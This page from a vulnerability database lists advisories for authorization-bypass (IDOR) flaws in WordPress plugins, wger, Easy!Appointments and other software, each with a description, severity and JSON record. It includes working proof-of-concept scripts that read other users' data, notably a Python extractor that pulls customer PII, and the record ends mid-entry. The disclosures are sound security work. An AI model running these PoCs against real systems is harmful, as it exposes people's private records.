Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

3606 vulnerabilities reference this CWE, most recent first.

GHSA-XCVJ-JV6G-QQ33

Vulnerability from github – Published: 2023-08-31 06:30 – Updated: 2024-04-04 07:18
VLAI
Details

The BadgeOS plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 3.7.1.6. This is due to improper validation and authorization checks within the badgeos_update_steps_ajax_handler, badgeos_update_award_steps_ajax_handler, badgeos_update_deduct_steps_ajax_handler, and badgeos_update_ranks_req_steps_ajax_handler functions. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to overwrite arbitrary post titles.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-2172"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-31T06:15:08Z",
    "severity": "MODERATE"
  },
  "details": "The BadgeOS plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 3.7.1.6. This is due to improper validation and authorization checks within the badgeos_update_steps_ajax_handler, badgeos_update_award_steps_ajax_handler, badgeos_update_deduct_steps_ajax_handler, and badgeos_update_ranks_req_steps_ajax_handler functions. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to overwrite arbitrary post titles.",
  "id": "GHSA-xcvj-jv6g-qq33",
  "modified": "2024-04-04T07:18:23Z",
  "published": "2023-08-31T06:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2172"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/badgeos/trunk/includes/points/award-steps-ui.php#L397"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/badgeos/trunk/includes/points/deduct-steps-ui.php#L454"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/badgeos/trunk/includes/ranks/rank-steps-ui.php#L388"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/badgeos/trunk/includes/steps-ui.php#L396"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5dae8e82-e252-48d9-ae1f-62acfcd17e2b?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XF3J-2PWF-M9RM

Vulnerability from github – Published: 2026-05-05 09:31 – Updated: 2026-05-05 09:31
VLAI
Details

The Forminator plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.52.0. This is due to the plugin not properly verifying that a user is authorized to perform an action when processing attacker-supplied Stripe PaymentIntent identifiers in the public payment flow. This makes it possible for unauthenticated attackers to submit high-value paid forms as completed by reusing a previously succeeded low-value Stripe PaymentIntent, resulting in underpayment/payment bypass conditions.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-2729"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-05T07:15:59Z",
    "severity": "MODERATE"
  },
  "details": "The Forminator plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.52.0. This is due to the plugin not properly verifying that a user is authorized to perform an action when processing attacker-supplied Stripe PaymentIntent identifiers in the public payment flow. This makes it possible for unauthenticated attackers to submit high-value paid forms as completed by reusing a previously succeeded low-value Stripe PaymentIntent, resulting in underpayment/payment bypass conditions.",
  "id": "GHSA-xf3j-2pwf-m9rm",
  "modified": "2026-05-05T09:31:54Z",
  "published": "2026-05-05T09:31:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2729"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3500669/forminator"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1afb94ab-b3ba-4598-8ff4-f9ffc6717371?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XF68-8HJW-7MPM

Vulnerability from github – Published: 2026-02-26 22:13 – Updated: 2026-04-15 20:42
VLAI
Summary
wger: IDOR in RepetitionsConfig and MaxRepetitionsConfig API leak other users' workout data
Details

Summary

RepetitionsConfigViewSet and MaxRepetitionsConfigViewSet return all users' repetition config data because their get_queryset() calls .all() instead of filtering by the authenticated user. Any registered user can enumerate every other user's workout structure.

Details

wger/manager/api/views.py:499 and :518:

# VULNERABLE
class RepetitionsConfigViewSet(viewsets.ModelViewSet):
    def get_queryset(self):
        return RepetitionsConfig.objects.all()

class MaxRepetitionsConfigViewSet(viewsets.ModelViewSet):
    def get_queryset(self):
        return MaxRepetitionsConfig.objects.all()

Every sibling viewset in the same file correctly filters by user. For example, WeightConfigViewSet at line 459:

# CORRECT — how it should work
def get_queryset(self):
    return WeightConfig.objects.filter(
        slot_entry__slot__day__routine__user=self.request.user
    )

The same user filter is present on SetsConfig, RestConfig, RiRConfig, and their Max variants — only RepetitionsConfig and MaxRepetitionsConfig are missing it.

PoC

import requests

BASE = "http://localhost"
headers = {"Authorization": "Token YOUR_TOKEN"}  # any registered user

r = requests.get(f"{BASE}/api/v2/repetitions-config/", headers=headers)
print(r.json())  # returns ALL users' repetition configs, not just your own

r = requests.get(f"{BASE}/api/v2/max-repetitions-config/", headers=headers)
print(r.json())  # same — all users' max repetition configs

Registration is open by default. Sequential IDs allow full enumeration.

Impact

Any authenticated user can read other users' repetition and max-repetitions configs, exposing workout structure (slot entry IDs, iteration values, operations, step counts, repeat flags, requirements JSON). This is a broken object-level authorization (BOLA/IDOR) vulnerability — the same class of issue as OWASP API1.

Fix: Add the same user filter used by every other config viewset:

def get_queryset(self):
    return RepetitionsConfig.objects.filter(
        slot_entry__slot__day__routine__user=self.request.user
    )
Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "wger"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27835"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-26T22:13:13Z",
    "nvd_published_at": "2026-02-26T22:20:49Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`RepetitionsConfigViewSet` and `MaxRepetitionsConfigViewSet` return all users\u0027 repetition config data because their `get_queryset()` calls `.all()` instead of filtering by the authenticated user. Any registered user can enumerate every other user\u0027s workout structure.\n\n### Details\n\n`wger/manager/api/views.py:499` and `:518`:\n\n```python\n# VULNERABLE\nclass RepetitionsConfigViewSet(viewsets.ModelViewSet):\n    def get_queryset(self):\n        return RepetitionsConfig.objects.all()\n\nclass MaxRepetitionsConfigViewSet(viewsets.ModelViewSet):\n    def get_queryset(self):\n        return MaxRepetitionsConfig.objects.all()\n```\n\nEvery sibling viewset in the same file correctly filters by user. For example, `WeightConfigViewSet` at line 459:\n\n```python\n# CORRECT \u2014 how it should work\ndef get_queryset(self):\n    return WeightConfig.objects.filter(\n        slot_entry__slot__day__routine__user=self.request.user\n    )\n```\n\nThe same user filter is present on `SetsConfig`, `RestConfig`, `RiRConfig`, and their Max variants \u2014 only `RepetitionsConfig` and `MaxRepetitionsConfig` are missing it.\n\n### PoC\n\n```python\nimport requests\n\nBASE = \"http://localhost\"\nheaders = {\"Authorization\": \"Token YOUR_TOKEN\"}  # any registered user\n\nr = requests.get(f\"{BASE}/api/v2/repetitions-config/\", headers=headers)\nprint(r.json())  # returns ALL users\u0027 repetition configs, not just your own\n\nr = requests.get(f\"{BASE}/api/v2/max-repetitions-config/\", headers=headers)\nprint(r.json())  # same \u2014 all users\u0027 max repetition configs\n```\n\nRegistration is open by default. Sequential IDs allow full enumeration.\n\n### Impact\n\nAny authenticated user can read other users\u0027 repetition and max-repetitions configs, exposing workout structure (slot entry IDs, iteration values, operations, step counts, repeat flags, requirements JSON). This is a broken object-level authorization (BOLA/IDOR) vulnerability \u2014 the same class of issue as OWASP API1.\n\n**Fix**: Add the same user filter used by every other config viewset:\n```python\ndef get_queryset(self):\n    return RepetitionsConfig.objects.filter(\n        slot_entry__slot__day__routine__user=self.request.user\n    )\n```",
  "id": "GHSA-xf68-8hjw-7mpm",
  "modified": "2026-04-15T20:42:17Z",
  "published": "2026-02-26T22:13:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/security/advisories/GHSA-xf68-8hjw-7mpm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27835"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/commit/1fda5690b35706bb137850c8a084ec6a13317b64"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wger-project/wger"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "wger: IDOR in RepetitionsConfig and MaxRepetitionsConfig API leak other users\u0027 workout data"
}

GHSA-XF7G-G8QV-QGGF

Vulnerability from github – Published: 2025-02-28 09:30 – Updated: 2026-04-08 18:33
VLAI
Details

The Ultra Addons Lite for Elementor plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.1.8 via the 'ut_elementor' shortcode due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from password protected, private, or draft posts that they should not have access to.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-13832"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-28T09:15:10Z",
    "severity": "MODERATE"
  },
  "details": "The Ultra Addons Lite for Elementor plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.1.8 via the \u0027ut_elementor\u0027 shortcode due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from password protected, private, or draft posts that they should not have access to.",
  "id": "GHSA-xf7g-g8qv-qggf",
  "modified": "2026-04-08T18:33:50Z",
  "published": "2025-02-28T09:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13832"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ut-elementor-addons-lite/trunk/includes/queries.php#L506"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3258158/ut-elementor-addons-lite/trunk/includes/queries.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/476883a8-c258-477b-99d3-f35423d7a312?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XFP3-MM6F-4FW4

Vulnerability from github – Published: 2024-07-17 18:31 – Updated: 2024-11-07 18:31
VLAI
Details

NATO NCI ANET 3.4.1 mishandles report ownership. A user can create a report and, despite the restrictions imposed by the UI, change the author of that report to an arbitrary user (without their consent or knowledge) via a modified UUID in a POST request.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-38446"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-17T17:15:15Z",
    "severity": "MODERATE"
  },
  "details": "NATO NCI ANET 3.4.1 mishandles report ownership. A user can create a report and, despite the restrictions imposed by the UI, change the author of that report to an arbitrary user (without their consent or knowledge) via a modified UUID in a POST request.",
  "id": "GHSA-xfp3-mm6f-4fw4",
  "modified": "2024-11-07T18:31:21Z",
  "published": "2024-07-17T18:31:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38446"
    },
    {
      "type": "WEB",
      "url": "https://www.linkedin.com/pulse/idors-ncia-anet-v341-visionspace-technologies-hepxe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XFPX-85JF-269F

Vulnerability from github – Published: 2026-01-22 18:30 – Updated: 2026-01-27 00:31
VLAI
Details

Authorization Bypass Through User-Controlled Key vulnerability in Mikado-Themes Fleur fleur allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Fleur: from n/a through <= 2.0.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-22398"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-22T17:16:33Z",
    "severity": "MODERATE"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in Mikado-Themes Fleur fleur allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Fleur: from n/a through \u003c= 2.0.",
  "id": "GHSA-xfpx-85jf-269f",
  "modified": "2026-01-27T00:31:12Z",
  "published": "2026-01-22T18:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22398"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Theme/fleur/vulnerability/wordpress-fleur-theme-2-0-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XFXJ-MH7V-H4RR

Vulnerability from github – Published: 2026-01-08 15:31 – Updated: 2026-01-08 15:31
VLAI
Details

Asseco ADMX system is used for processing medical records. It allows logged in users to access medical files belonging to other users through manipulation of GET arguments containing document IDs. This issue has been fixed in 6.09.01.62 version of ADMX.

Severity
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-4596"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-08T15:15:43Z",
    "severity": "MODERATE"
  },
  "details": "Asseco ADMX system is used for processing medical records. It allows logged in users to access medical files belonging to other users through manipulation of GET arguments containing document IDs.\nThis issue has been fixed in 6.09.01.62 version of ADMX.",
  "id": "GHSA-xfxj-mh7v-h4rr",
  "modified": "2026-01-08T15:31:25Z",
  "published": "2026-01-08T15:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4596"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/en/posts/2026/01/CVE-2025-4596"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XG85-J7XM-GQC8

Vulnerability from github – Published: 2026-08-06 18:30 – Updated: 2026-08-06 18:30
VLAI
Details

Authorization bypass in the Line, LineTranscription, VirtualCollection, tag and process API endpoints in Scripta/eScriptorium through 26.04.1 allows a remote authenticated user to read, modify and delete other users' transcription content via primary keys supplied in the request body, which are queried against the global model manager instead of the request-scoped queryset

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-18258"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-06T16:16:37Z",
    "severity": "HIGH"
  },
  "details": "Authorization bypass in the Line, LineTranscription, VirtualCollection, tag and process API endpoints in Scripta/eScriptorium through 26.04.1 allows a remote authenticated user to read, modify and delete other users\u0027 transcription content via primary keys supplied in the request body, which are queried against the global model manager instead of the request-scoped queryset",
  "id": "GHSA-xg85-j7xm-gqc8",
  "modified": "2026-08-06T18:30:47Z",
  "published": "2026-08-06T18:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18258"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/scripta/escriptorium/-/work_items/1226"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XGF4-G8FR-FCV9

Vulnerability from github – Published: 2026-01-08 18:30 – Updated: 2026-04-01 18:36
VLAI
Details

Authorization Bypass Through User-Controlled Key vulnerability in Wptexture Image Slider Slideshow allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Image Slider Slideshow: from n/a through 1.8.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-22489"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-08T17:15:51Z",
    "severity": "MODERATE"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in Wptexture Image Slider Slideshow allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Image Slider Slideshow: from n/a through 1.8.",
  "id": "GHSA-xgf4-g8fr-fcv9",
  "modified": "2026-04-01T18:36:31Z",
  "published": "2026-01-08T18:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22489"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/image-slider-slideshow/vulnerability/wordpress-image-slider-slideshow-plugin-1-8-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XGR6-PQJV-3PF8

Vulnerability from github – Published: 2026-07-29 16:28 – Updated: 2026-07-29 16:28
VLAI
Summary
Easy!Appointments has unauthenticated customer PII disclosure on booking reschedule page
Details

Summary

The booking reschedule view at /index.php/booking/reschedule/{appointment_hash} (handled by Booking::index()) embeds the entire customer record as inline JavaScript (const vars = {... "customer_data": {...}, ...}) without authentication and without field whitelisting. Anyone in possession of the 12-character appointment_hash — which appears in plain text in reschedule emails, confirmation page URLs, and operator-side calendar links — can read every column of that customer's row in the ea_users table.

Verified against v1.5.2 with a Docker reproduction; a single anonymous GET to the reschedule URL returns 13 customer fields including email, phone, full address, custom fields, timezone, language, LDAP DN, and id_roles.

Details

Root cause

application/controllers/Booking.php at line 184 reads the hash from the request, fetches the appointment, then loads the customer with Customers_model::find() — which returns the full row, no projection. It then passes the full record into script_vars(), which inlines it into the response HTML as a JavaScript constant. The reschedule UI itself uses only first_name and last_name; everything else is exposed for no functional reason.

// application/controllers/Booking.php (v1.5.2)
$appointment_hash = html_vars('appointment_hash');         // line 184
if (!empty($appointment_hash)) {
    $manage_mode = true;
    $results = $this->appointments_model->get(['hash' => $appointment_hash]);
    // ...
    $appointment = $results[0];
    $provider = $this->providers_model->find($appointment['id_users_provider']);
    $customer = $this->customers_model->find($appointment['id_users_customer']);  // ← full row, no projection
    $customer_token = md5(uniqid(mt_rand(), true));
    $this->cache->save('customer-token-' . $customer_token, $customer['id'], 600);
}

script_vars([
    // ...
    'customer_data' => $customer,                          // ← all PII inlined in HTML
    'customer_token' => $customer_token,
]);

The URL pattern is in the CSRF exemption list (application/config/config.php, csrf_exclude_uris covers booking/.*) and no authentication middleware applies, by design — that's the intended customer-facing reschedule flow. The bug is the over-disclosure, not the lack of auth.

Source-to-Sink

  • Source: HTTP GET to /index.php/booking/reschedule/{appointment_hash} — unauthenticated; hash read via html_vars('appointment_hash') (Booking.php:184).
  • Intermediate: appointments_model->get(['hash' => $hash]) → row fetched; customers_model->find($appointment['id_users_customer']) returns the full customers row.
  • Sink: script_vars(['customer_data' => $customer, ...]) (Booking.php:254-270) emits inline const vars = {..., "customer_data": {...}, ...} JavaScript in the response HTML.

Fields disclosed

Confirmed in PoC output (canary values used as markers):

customer_data: {
  "id": 4,
  "first_name": "Victim",
  "last_name": "Tester",
  "email": "victim.disclosure@example.invalid",
  "phone_number": "+1-555-0100",
  "address": "100 Privacy Lane",
  "city": "Sensitiveville",
  "zip_code": "00001",
  "timezone": "UTC",
  "language": "english",
  "custom_field_1": "CFLD1-CANARY",
  "is_private": "0",
  "ldap_dn": null,
  "id_roles": 3
}

Fields that would also leak when populated: mobile_number, state, notes (free-form, operators often store sensitive context here), custom_field_2–custom_field_5, ldap_dn.

Proof of Concept

#!/usr/bin/env python3
# poc_001_easyapp_pii_disclosure.py — exploit mode (extract from attached PoC)
import argparse, json, re, sys, requests

PII_FIELDS = ["email","phone_number","mobile_number","address","city","state",
              "zip_code","notes","custom_field_1","custom_field_2","custom_field_3",
              "custom_field_4","custom_field_5","ldap_dn"]

def exploit(target, hash_):
    url = f"{target}/index.php/booking/reschedule/{hash_}"
    r = requests.get(url, timeout=15); r.raise_for_status()
    m = re.search(r"const\s+vars\s*=\s*(\{.*?\});", r.text, re.DOTALL)
    ea = json.loads(m.group(1))
    customer = ea.get("customer_data") or {}
    leaked = 0
    for f in PII_FIELDS:
        if customer.get(f) not in (None, "", 0):
            print(f"  {f:18s} = {customer[f]!r}"); leaked += 1
    print(f"[+] disclosed {leaked} PII fields without auth")
    return leaked

if __name__ == "__main__":
    p = argparse.ArgumentParser()
    p.add_argument("--target", default="http://localhost:8000")
    p.add_argument("--hash", required=True)
    a = p.parse_args()
    sys.exit(0 if exploit(a.target, a.hash) > 0 else 1)

Reproduction

  1. Bring up the lab from the project's official docker-compose.yml (pinned to v1.5.2). Complete the one-time install at /index.php/installation (or php index.php console install from the php-fpm container).
  2. Book one appointment through the public flow (the bundled --seed helper does this automatically and prints the resulting hash).
  3. Run the unauthenticated extractor: python3 poc_001_easyapp_pii_disclosure.py --target http://localhost:8000 --hash <HASH>
  4. Observed output (verified 5/5 consecutive runs): email = 'victim.disclosure@example.invalid' phone_number = '+1-555-0100' address = '100 Privacy Lane' city = 'Sensitiveville' zip_code = '00001' custom_field_1 = 'CFLD1-CANARY' [+] DISCLOSURE CONFIRMED -- 6 PII field(s) accessible without auth.

The PoC and its docker-compose reproduction environment are attached.

Impact

A single anonymous GET request returns the customer's full record. The appointment_hash is not a secret to the customer — it appears in every reschedule email, every confirmation page URL, and the operator-side calendar reschedule link. So it leaks through the usual side channels: email forwarding, shared inboxes, mail-server logs, browser history, HTTP Referer headers when the customer clicks an outbound link from the reschedule page.

For a typical Easy!Appointments deployment (medical clinics, salons, legal/tutoring consultancies, hairdressers) the disclosed fields include regulated personal information — GDPR Article 5(1)(f) / Article 32 confidentiality, HIPAA contact-data exposure, and equivalent regional regimes. The free-form notes and the five configurable custom fields are frequently used by operators to store sensitive supplementary data (health context, insurance number, allergies, DOB, government ID).

A secondary chain worth flagging: the same response emits customer_token, a 600-second cache key bound to the customer ID. If display_delete_personal_information is enabled, an attacker holding the hash can also trigger a customer-record deletion at /privacy/delete_personal_information using the disclosed token — escalating an information-disclosure issue into a destructive one. Treating that as a secondary concern, out of scope for this report.

Workarounds

Operators can mitigate temporarily by: 1. Disabling the reschedule link in confirmation emails (in Booking_settings/Email_settings templates), forcing customers to re-book instead. 2. Disabling the public booking page entirely (disable_booking setting) for deployments that can tolerate it.

Neither workaround removes the root cause; an attacker who already holds a hash can still extract.

Suggested fix

Whitelist customer fields before inlining. The reschedule UI only needs first/last name:

--- a/application/controllers/Booking.php
+++ b/application/controllers/Booking.php
@@ -239,7 +239,12 @@ class Booking extends EA_Controller
             $appointment = $results[0];
             $provider = $this->providers_model->find($appointment['id_users_provider']);
-            $customer = $this->customers_model->find($appointment['id_users_customer']);
+            $customer_record = $this->customers_model->find($appointment['id_users_customer']);
+            $customer = [
+                'id'         => $customer_record['id'],
+                'first_name' => $customer_record['first_name'],
+                'last_name'  => $customer_record['last_name'],
+            ];
             $customer_token = md5(uniqid(mt_rand(), true));

The same pattern likely needs auditing in Booking_confirmation::of() and Booking_cancellation::of() — anywhere the customer record is loaded and inlined into a publicly-reachable view.

Credits

  • Discovered through source-code audit by peoplstar

References

  • application/controllers/Booking.php lines 184-270 (v1.5.2)
  • application/models/Customers_model.php::find — returns the full row, no projection
  • application/config/config.php csrf_exclude_uris — whitelisting booking/.*
  • Related prior PR #1753 (permission checks on appointment search) — same project, adjacent code, vendor previously accepted this class of issue.

docker-compose.yml easyapp_pii_disclosure.py requirements.txt consistency_test.txt leaked_customer_data.txt

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "alextselegidis/easyappointments"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52837"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T16:28:23Z",
    "nvd_published_at": "2026-07-14T15:17:04Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe booking reschedule view at `/index.php/booking/reschedule/{appointment_hash}` (handled by `Booking::index()`) embeds the **entire customer record** as inline JavaScript (`const vars = {... \"customer_data\": {...}, ...}`) without authentication and without field whitelisting. Anyone in possession of the 12-character `appointment_hash` \u2014 which appears in plain text in reschedule emails, confirmation page URLs, and operator-side calendar links \u2014 can read every column of that customer\u0027s row in the `ea_users` table.\n\nVerified against v1.5.2 with a Docker reproduction; a single anonymous GET to the reschedule URL returns 13 customer fields including email, phone, full address, custom fields, timezone, language, LDAP DN, and `id_roles`.\n\n## Details\n\n### Root cause\n\n`application/controllers/Booking.php` at line 184 reads the hash from the request, fetches the appointment, then loads the customer with `Customers_model::find()` \u2014 which returns the full row, no projection. It then passes the full record into `script_vars()`, which inlines it into the response HTML as a JavaScript constant. The reschedule UI itself uses only `first_name` and `last_name`; everything else is exposed for no functional reason.\n\n```php\n// application/controllers/Booking.php (v1.5.2)\n$appointment_hash = html_vars(\u0027appointment_hash\u0027);         // line 184\nif (!empty($appointment_hash)) {\n    $manage_mode = true;\n    $results = $this-\u003eappointments_model-\u003eget([\u0027hash\u0027 =\u003e $appointment_hash]);\n    // ...\n    $appointment = $results[0];\n    $provider = $this-\u003eproviders_model-\u003efind($appointment[\u0027id_users_provider\u0027]);\n    $customer = $this-\u003ecustomers_model-\u003efind($appointment[\u0027id_users_customer\u0027]);  // \u2190 full row, no projection\n    $customer_token = md5(uniqid(mt_rand(), true));\n    $this-\u003ecache-\u003esave(\u0027customer-token-\u0027 . $customer_token, $customer[\u0027id\u0027], 600);\n}\n\nscript_vars([\n    // ...\n    \u0027customer_data\u0027 =\u003e $customer,                          // \u2190 all PII inlined in HTML\n    \u0027customer_token\u0027 =\u003e $customer_token,\n]);\n```\n\nThe URL pattern is in the CSRF exemption list (`application/config/config.php`, `csrf_exclude_uris` covers `booking/.*`) and no authentication middleware applies, by design \u2014 that\u0027s the intended customer-facing reschedule flow. The bug is the over-disclosure, not the lack of auth.\n\n### Source-to-Sink\n\n- **Source**: HTTP GET to `/index.php/booking/reschedule/{appointment_hash}` \u2014 unauthenticated; hash read via 